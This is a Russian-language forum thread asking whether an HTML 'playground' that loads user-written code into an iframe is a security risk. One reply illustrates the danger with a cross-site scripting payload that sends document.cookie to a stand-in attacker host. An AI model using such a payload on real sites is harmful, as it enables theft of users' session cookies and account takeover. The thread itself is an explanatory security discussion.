Безопасность и динамические фреймы
Есть легкий «полигон». Смысл в том, что написаный html в textarea загружается в ифрейм:
<html> <head> </head> <body> <div class="a" onClick="cvf();">>>>Посмотреть, что получилось>>></div> <form action="" name="cod"> <textarea> </textarea> </form> <iframe src="javascript:parent.document.cod.elements[0].value" id="mf"></iframe> <script type="text/javascript"> function cvf(){ document.getElementById('mf').contentWindow.location.reload(); } </script> </body> </html> Вопрос: это же опасно? Если я этот код вставлю на свой сайт, человек сможет делать запросы к серверу избегая Same origin policy. Если это опасно, то как можно защититься, если не опасно, то почему никто так не делает? |
Он сможет вставить любой код у себя в браузере. А у себя в браузере он и так через консоль что угодно на вашем сайте сделать может.
|
Цитата:
|
извините, не увидел никакой опасности. что в этом фрейме такого страшного?
|
Цитата:
|
Nekromancer,
Например здесь запускаемый код, можно так сдеделать, не будет обращения к серверу, фрейм будет появляться мгновенно. Почему именно, это плохо? |
Kolyaj,
ну да, точно. не подумал... |
qwertyuiop10,
Я не понимаю ваш язык. |
Цитата:
|
Nekromancer,
На этом сайте есть возможность вставлять запускаемый код. Почему бы её не реализовать способом, указанным мной? Небыло бы лишнего обращения к серверу и код был бы проще. Ещё - xiper.net, в справочнике css есть полигон внизу страници, описывающей какое-либо свойство. Почему его не реализовать таким образом? Я думаю, что если так не делают, значит есть какие-то существенные недостатки. Какие? |
qwertyuiop10, потому что Ваш подход небезопасен.
|
B@rmaley.e><e,
Ну так я же спрашиваю: почему небезопасен? Поточнее пожалуйста. |
Вам же сказали - если человек может воспользоваться этим только для себя - всё нормально.
Но если он может показать написанное другим, то нет. Сам себе человек и так может что угодно запустить на вашей странице. Если же он может дать другим посмотреть написанное, то нет ничег проще чем написать например: document.write('<img src="http://l33thaxor.net/?'+encodeURIComponent(document.cookie)+'">') |
Ну а на счет мини-подигона на xiper.net? Там юзер меняет только в своём браузере. И вообще, не видел ни одного полигона, реализованного без обращения к серверу, хотя везде пользователь меняет страницы в своём браузере.
|
Хз как оно там: может статьи пишутся юзерами,мож задел на будущее, who cares.
|
Часовой пояс GMT +3, время: 17:40. |